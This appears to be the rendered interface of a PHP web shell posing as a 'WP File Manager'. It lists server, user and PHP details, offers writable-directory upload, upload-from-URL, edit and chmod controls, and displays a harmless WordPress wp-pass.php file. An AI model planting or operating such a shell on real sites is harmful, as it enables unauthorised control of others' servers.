Server : Apache
System : Linux ecres258.servconfig.com 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : tccustom ( 10268)
PHP Version : 7.3.33
Disable Function : NONE
Directory :  /home/tccustom/public_html/

📁 Create New:
⬆️ Upload File:
Current Dir [ Writable ] Root [ Writable ]


OR Upload from URL:
URL: Save as:

📄 File: wp-pass.php

Path: /home/tccustom/public_html/wp-pass.php

Size: 413 B

Permissions: 0644

<?php
/**
 * Creates the password cookie and redirects back to where the
 * visitor was before.
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require( dirname(__FILE__) . '/wp-load.php');

// 10 days
setcookie('wp-postpass_' . COOKIEHASH, stripslashes( $_POST['post_password'] ), time() + 864000, COOKIEPATH);

wp_safe_redirect(wp_get_referer());
exit;
?>

← Back to Directory Edit File 🔒 Chmod

WP File Manager